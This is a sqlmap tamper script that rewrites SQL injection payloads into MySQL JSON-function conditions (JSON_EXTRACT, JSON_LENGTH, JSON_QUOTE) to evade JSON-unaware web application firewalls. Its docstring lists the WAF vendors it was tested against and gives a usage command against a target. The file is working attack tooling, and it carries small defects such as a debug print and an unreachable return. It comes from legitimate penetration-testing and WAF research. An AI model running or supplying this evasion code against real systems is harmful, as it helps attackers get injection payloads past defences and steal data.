sqlmap/tamper/json_waf_bypass_mysql.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
import re, random, string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass



# Possible int payloads:
# 1) JSON_LENGTH()
# 2) json_depth
# 3) JSON_EXTRACT()

def generate_int_payload():
    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
    return (random.choice(INT_FUNCTIONS))()


# Possible STR payloads:
# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
# 2) JSON_EXTRACT
# 3) JSON_QUOTE('null')

def generate_str_payload():
    print("generate_str_payload")
    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
    return (random.choice(STR_FUNCTIONS))()
    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''


def generate_random_string(length=15):
    str_length = random.randint(1,length)
    return "".join(random.choice(string.ascii_letters) for i in range(str_length))

def generate_random_int():
    return random.randint(2, 10000)


def generate_length_payload():
    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"


def generate_depth_paylod():
    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"


def generate_quote_payload():
    var = generate_random_string()
    return f"JSON_QUOTE('{var}') = '\"{var}\"'"


def generate_int_extract_payload():
    return generate_extract_payload(isString=False)


def generate_str_extract_payload():
    return generate_extract_payload(isString=True)


def generate_extract_payload(isString=False):
    key = generate_random_string()
    if isString:
        value = generate_random_string()
        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
    value = generate_random_int()
    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'


def generate_payload(isString, isBrackets):
    payload = '(' if isBrackets else ""
    if isString:
        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
    else:
        payload += generate_int_payload()

    return payload


def generate_random_payload():
    if random.randint(0,1):
        return generate_str_payload()
    return generate_int_payload()

def tamper(payload, **kwargs):
    """
        
    Bypasses generic WAFs using JSON SQL Syntax.
    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html

    Tested against:
        * MySQL v8.0 - however every version after v5.7.8 should work

    Usage:
        python3 sqlmap.py <TARGET> --tamper json_waf_bypass_mysql.py

    Notes:
        * References: 
            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
        * JSON techniques were tested againts the following WAF vendors:
            * Amazon AWS ELB
            * CloudFlare
            * F5 BIG-IP
            * Palo-Alto Next Generation Firewall
            * Imperva Firewall

        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)

        Possible int payloads:
            1) JSON_LENGTH()
            2) json_depth
            3) JSON_EXTRACT()

        Possible STR payloads:
            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
            2) JSON_EXTRACT
            3) JSON_QUOTE('null')

    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
    >>> tamper('and 4515=8950--')
    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
    """

    payload = payload.replace(r'%20', " ")
    #
    retVal = payload

    if payload:
        match = re.search(pattern, payload)

        if match:
            pre = match.group('pre')

            # Is our payload is a string.
            isString = pre.startswith("'")
            isBrackets = pre.startswith("')") or pre.startswith(")")
            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"

        else:

            if payload.lower().startswith("' union"):
                wafPayload = generate_random_payload()

                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...

    return retVal